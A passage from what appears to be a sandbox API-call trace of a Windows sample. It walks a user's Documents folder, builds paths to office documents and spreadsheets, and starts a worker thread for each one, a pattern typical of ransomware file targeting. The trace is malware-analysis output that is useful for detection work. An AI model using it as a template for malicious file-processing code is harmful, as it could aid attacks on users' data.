HALPmcxz\\Documents\\" [0090.660] wcscat (in: _Dest=0x1b784130, _Source="Ad7S5JA4gzoc1hHZl.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ad7S5JA4gzoc1hHZl.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ad7S5JA4gzoc1hHZl.xlsx" [0090.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770 [0090.661] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f847b90, ftCreationTime.dwHighDateTime=0x1d5e811, ftLastAccessTime.dwLowDateTime=0x805f4780, ftLastAccessTime.dwHighDateTime=0x1d5d80d, ftLastWriteTime.dwLowDateTime=0x805f4780, ftLastWriteTime.dwHighDateTime=0x1d5d80d, nFileSizeHigh=0x0, nFileSizeLow=0xe3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ap6M_DcE.doc", cAlternateFileName="")) returned 1 [0090.661] wcscmp (_String1="Ap6M_DcE.doc", _String2=".") returned 1 [0090.661] wcscmp (_String1="Ap6M_DcE.doc", _String2="..") returned 1 [0090.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79dcf0 [0090.661] wcscpy (in: _Dest=0x1b79dcf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.661] wcscat (in: _Dest=0x1b79dcf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.661] wcscat (in: _Dest=0x1b79dcf0, _Source="Ap6M_DcE.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ap6M_DcE.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ap6M_DcE.doc" [0090.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dcf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c [0090.661] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae97960, ftCreationTime.dwHighDateTime=0x1d5dc82, ftLastAccessTime.dwLowDateTime=0x1505e0a0, ftLastAccessTime.dwHighDateTime=0x1d59c6e, ftLastWriteTime.dwLowDateTime=0x1505e0a0, ftLastWriteTime.dwHighDateTime=0x1d59c6e, nFileSizeHigh=0x0, nFileSizeLow=0x1016b, dwReserved0=0x0, dwReserved1=0x0, cFileName="bEfEj.pptx", cAlternateFileName="BEFEJ~1.PPT")) returned 1 [0090.662] wcscmp (_String1="bEfEj.pptx", _String2=".") returned 1 [0090.662] wcscmp (_String1="bEfEj.pptx", _String2="..") returned 1 [0090.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c1aa0 [0090.662] wcscpy (in: _Dest=0x1b7c1aa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.662] wcscat (in: _Dest=0x1b7c1aa0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.662] wcscat (in: _Dest=0x1b7c1aa0, _Source="bEfEj.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bEfEj.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bEfEj.pptx" [0090.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0090.662] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x414eceb0, ftCreationTime.dwHighDateTime=0x1d592b4, ftLastAccessTime.dwLowDateTime=0x3eea2620, ftLastAccessTime.dwHighDateTime=0x1d5e3c6, ftLastWriteTime.dwLowDateTime=0x3eea2620, ftLastWriteTime.dwHighDateTime=0x1d5e3c6, nFileSizeHigh=0x0, nFileSizeLow=0x4fc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="bHu3PmRuAA56Wf.pptx", cAlternateFileName="BHU3PM~1.PPT")) returned 1 [0090.662] wcscmp (_String1="bHu3PmRuAA56Wf.pptx", _String2=".") returned 1 [0090.662] wcscmp (_String1="bHu3PmRuAA56Wf.pptx", _String2="..") returned 1 [0090.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79dc70 [0090.663] wcscpy (in: _Dest=0x1b79dc70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.663] wcscat (in: _Dest=0x1b79dc70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.663] wcscat (in: _Dest=0x1b79dc70, _Source="bHu3PmRuAA56Wf.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bHu3PmRuAA56Wf.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\bHu3PmRuAA56Wf.pptx" [0090.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764 [0090.663] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9225530, ftCreationTime.dwHighDateTime=0x1d5db96, ftLastAccessTime.dwLowDateTime=0x4b5a2c00, ftLastAccessTime.dwHighDateTime=0x1d5dbb2, ftLastWriteTime.dwLowDateTime=0x4b5a2c00, ftLastWriteTime.dwHighDateTime=0x1d5dbb2, nFileSizeHigh=0x0, nFileSizeLow=0x14062, dwReserved0=0x0, dwReserved1=0x0, cFileName="chDmDQZcQsHu36.docx", cAlternateFileName="CHDMDQ~1.DOC")) returned 1 [0090.663] wcscmp (_String1="chDmDQZcQsHu36.docx", _String2=".") returned 1 [0090.663] wcscmp (_String1="chDmDQZcQsHu36.docx", _String2="..") returned 1 [0090.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79dbf0 [0090.664] wcscpy (in: _Dest=0x1b79dbf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.664] wcscat (in: _Dest=0x1b79dbf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.664] wcscat (in: _Dest=0x1b79dbf0, _Source="chDmDQZcQsHu36.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\chDmDQZcQsHu36.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\chDmDQZcQsHu36.docx" [0090.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79dbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760 [0090.664] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cb5ee0, ftCreationTime.dwHighDateTime=0x1d5e3cf, ftLastAccessTime.dwLowDateTime=0xcb3e6ef0, ftLastAccessTime.dwHighDateTime=0x1d5dda0, ftLastWriteTime.dwLowDateTime=0xcb3e6ef0, ftLastWriteTime.dwHighDateTime=0x1d5dda0, nFileSizeHigh=0x0, nFileSizeLow=0x1482b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ci4TGDRBMrmyJBdK.xls", cAlternateFileName="CI4TGD~1.XLS")) returned 1 [0090.664] wcscmp (_String1="Ci4TGDRBMrmyJBdK.xls", _String2=".") returned 1 [0090.664] wcscmp (_String1="Ci4TGDRBMrmyJBdK.xls", _String2="..") returned 1 [0090.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b7840a0 [0090.665] wcscpy (in: _Dest=0x1b7840a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.665] wcscat (in: _Dest=0x1b7840a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.665] wcscat (in: _Dest=0x1b7840a0, _Source="Ci4TGDRBMrmyJBdK.xls" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ci4TGDRBMrmyJBdK.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ci4TGDRBMrmyJBdK.xls" [0090.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7840a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0090.665] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620a75d0, ftCreationTime.dwHighDateTime=0x1d588f7, ftLastAccessTime.dwLowDateTime=0xc3a9a350, ftLastAccessTime.dwHighDateTime=0x1d56eb8, ftLastWriteTime.dwLowDateTime=0xc3a9a350, ftLastWriteTime.dwHighDateTime=0x1d56eb8, nFileSizeHigh=0x0, nFileSizeLow=0xc36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CxPavloCARsM.pptx", cAlternateFileName="CXPAVL~1.PPT")) returned 1 [0090.665] wcscmp (_String1="CxPavloCARsM.pptx", _String2=".") returned 1 [0090.665] wcscmp (_String1="CxPavloCARsM.pptx", _String2="..") returned 1 [0090.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79db70 [0090.666] wcscpy (in: _Dest=0x1b79db70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.666] wcscat (in: _Dest=0x1b79db70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.666] wcscat (in: _Dest=0x1b79db70, _Source="CxPavloCARsM.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CxPavloCARsM.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CxPavloCARsM.pptx" [0090.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79db70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0090.666] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.666] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0090.666] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0090.666] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb90990, ftCreationTime.dwHighDateTime=0x1d5dcf2, ftLastAccessTime.dwLowDateTime=0xdc574950, ftLastAccessTime.dwHighDateTime=0x1d5e1f6, ftLastWriteTime.dwLowDateTime=0xdc574950, ftLastWriteTime.dwHighDateTime=0x1d5e1f6, nFileSizeHigh=0x0, nFileSizeLow=0x8de9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ebts.ots", cAlternateFileName="")) returned 1 [0090.666] wcscmp (_String1="Ebts.ots", _String2=".") returned 1 [0090.666] wcscmp (_String1="Ebts.ots", _String2="..") returned 1 [0090.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e410 [0090.667] wcscpy (in: _Dest=0x1b86e410, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.667] wcscat (in: _Dest=0x1b86e410, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.667] wcscat (in: _Dest=0x1b86e410, _Source="Ebts.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ebts.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ebts.ots" [0090.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0090.667] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683b2430, ftCreationTime.dwHighDateTime=0x1d5e3c0, ftLastAccessTime.dwLowDateTime=0x5fab13c0, ftLastAccessTime.dwHighDateTime=0x1d5de43, ftLastWriteTime.dwLowDateTime=0x5fab13c0, ftLastWriteTime.dwHighDateTime=0x1d5de43, nFileSizeHigh=0x0, nFileSizeLow=0x100c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EOAS6FJTIipuQi9.rtf", cAlternateFileName="EOAS6F~1.RTF")) returned 1 [0090.667] wcscmp (_String1="EOAS6FJTIipuQi9.rtf", _String2=".") returned 1 [0090.667] wcscmp (_String1="EOAS6FJTIipuQi9.rtf", _String2="..") returned 1 [0090.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e690 [0090.668] wcscpy (in: _Dest=0x1b85e690, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.668] wcscat (in: _Dest=0x1b85e690, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.668] wcscat (in: _Dest=0x1b85e690, _Source="EOAS6FJTIipuQi9.rtf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EOAS6FJTIipuQi9.rtf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EOAS6FJTIipuQi9.rtf" [0090.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0090.668] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe900f870, ftCreationTime.dwHighDateTime=0x1d5dc35, ftLastAccessTime.dwLowDateTime=0xa97e4530, ftLastAccessTime.dwHighDateTime=0x1d5dadd, ftLastWriteTime.dwLowDateTime=0xa97e4530, ftLastWriteTime.dwHighDateTime=0x1d5dadd, nFileSizeHigh=0x0, nFileSizeLow=0x178e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="F3X0Yxhu.doc", cAlternateFileName="")) returned 1 [0090.668] wcscmp (_String1="F3X0Yxhu.doc", _String2=".") returned 1 [0090.668] wcscmp (_String1="F3X0Yxhu.doc", _String2="..") returned 1 [0090.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85e610 [0090.669] wcscpy (in: _Dest=0x1b85e610, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.669] wcscat (in: _Dest=0x1b85e610, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.669] wcscat (in: _Dest=0x1b85e610, _Source="F3X0Yxhu.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F3X0Yxhu.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F3X0Yxhu.doc" [0090.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0090.669] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ac14950, ftCreationTime.dwHighDateTime=0x1d57d50, ftLastAccessTime.dwLowDateTime=0xbbd6c5d0, ftLastAccessTime.dwHighDateTime=0x1d579f9, ftLastWriteTime.dwLowDateTime=0xbbd6c5d0, ftLastWriteTime.dwHighDateTime=0x1d579f9, nFileSizeHigh=0x0, nFileSizeLow=0xdd46, dwReserved0=0x0, dwReserved1=0x0, cFileName="fQSe7JOpZR2A.xlsx", cAlternateFileName="FQSE7J~1.XLS")) returned 1 [0090.669] wcscmp (_String1="fQSe7JOpZR2A.xlsx", _String2=".") returned 1 [0090.669] wcscmp (_String1="fQSe7JOpZR2A.xlsx", _String2="..") returned 1 [0090.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85ee10 [0090.670] wcscpy (in: _Dest=0x1b85ee10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.670] wcscat (in: _Dest=0x1b85ee10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.670] wcscat (in: _Dest=0x1b85ee10, _Source="fQSe7JOpZR2A.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fQSe7JOpZR2A.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fQSe7JOpZR2A.xlsx" [0090.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ee10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0090.671] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa360ce00, ftCreationTime.dwHighDateTime=0x1d5e07a, ftLastAccessTime.dwLowDateTime=0x16398370, ftLastAccessTime.dwHighDateTime=0x1d5e2df, ftLastWriteTime.dwLowDateTime=0x16398370, ftLastWriteTime.dwHighDateTime=0x1d5e2df, nFileSizeHigh=0x0, nFileSizeLow=0xa69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="giG8 5Cn89IvzO9r.pps", cAlternateFileName="GIG85C~1.PPS")) returned 1 [0090.671] wcscmp (_String1="giG8 5Cn89IvzO9r.pps", _String2=".") returned 1 [0090.671] wcscmp (_String1="giG8 5Cn89IvzO9r.pps", _String2="..") returned 1 [0090.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784010 [0090.671] wcscpy (in: _Dest=0x1b784010, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.671] wcscat (in: _Dest=0x1b784010, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.671] wcscat (in: _Dest=0x1b784010, _Source="giG8 5Cn89IvzO9r.pps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\giG8 5Cn89IvzO9r.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\giG8 5Cn89IvzO9r.pps" [0090.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0090.672] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x185b8440, ftCreationTime.dwHighDateTime=0x1d5db38, ftLastAccessTime.dwLowDateTime=0x9fa8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e7b3, ftLastWriteTime.dwLowDateTime=0x9fa8cde0, ftLastWriteTime.dwHighDateTime=0x1d5e7b3, nFileSizeHigh=0x0, nFileSizeLow=0x17de1, dwReserved0=0x0, dwReserved1=0x0, cFileName="hMh KuECrgr_M.odt", cAlternateFileName="HMHKUE~1.ODT")) returned 1 [0090.672] wcscmp (_String1="hMh KuECrgr_M.odt", _String2=".") returned 1 [0090.672] wcscmp (_String1="hMh KuECrgr_M.odt", _String2="..") returned 1 [0090.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85ee90 [0090.672] wcscpy (in: _Dest=0x1b85ee90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.672] wcscat (in: _Dest=0x1b85ee90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.672] wcscat (in: _Dest=0x1b85ee90, _Source="hMh KuECrgr_M.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hMh KuECrgr_M.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hMh KuECrgr_M.odt" [0090.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ee90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0090.673] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5eb9190, ftCreationTime.dwHighDateTime=0x1d5b4ca, ftLastAccessTime.dwLowDateTime=0x90ee0a90, ftLastAccessTime.dwHighDateTime=0x1d5afd2, ftLastWriteTime.dwLowDateTime=0x90ee0a90, ftLastWriteTime.dwHighDateTime=0x1d5afd2, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HwUW.docx", cAlternateFileName="HWUW~1.DOC")) returned 1 [0090.673] wcscmp (_String1="HwUW.docx", _String2=".") returned 1 [0090.673] wcscmp (_String1="HwUW.docx", _String2="..") returned 1 [0090.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86e2c0 [0090.673] wcscpy (in: _Dest=0x1b86e2c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.673] wcscat (in: _Dest=0x1b86e2c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.673] wcscat (in: _Dest=0x1b86e2c0, _Source="HwUW.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HwUW.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HwUW.docx" [0090.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0090.674] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23658630, ftCreationTime.dwHighDateTime=0x1d5e3a6, ftLastAccessTime.dwLowDateTime=0xd65ebd10, ftLastAccessTime.dwHighDateTime=0x1d5e513, ftLastWriteTime.dwLowDateTime=0xd65ebd10, ftLastWriteTime.dwHighDateTime=0x1d5e513, nFileSizeHigh=0x0, nFileSizeLow=0x5fad, dwReserved0=0x0, dwReserved1=0x0, cFileName="I8Vk b 9olXMm.pps", cAlternateFileName="I8VKB9~1.PPS")) returned 1 [0090.675] wcscmp (_String1="I8Vk b 9olXMm.pps", _String2=".") returned 1 [0090.675] wcscmp (_String1="I8Vk b 9olXMm.pps", _String2="..") returned 1 [0090.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85ef10 [0090.675] wcscpy (in: _Dest=0x1b85ef10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.675] wcscat (in: _Dest=0x1b85ef10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.675] wcscat (in: _Dest=0x1b85ef10, _Source="I8Vk b 9olXMm.pps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I8Vk b 9olXMm.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\I8Vk b 9olXMm.pps" [0090.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ef10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0090.675] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41936ea0, ftCreationTime.dwHighDateTime=0x1d5e38e, ftLastAccessTime.dwLowDateTime=0x47eea290, ftLastAccessTime.dwHighDateTime=0x1d5e309, ftLastWriteTime.dwLowDateTime=0x47eea290, ftLastWriteTime.dwHighDateTime=0x1d5e309, nFileSizeHigh=0x0, 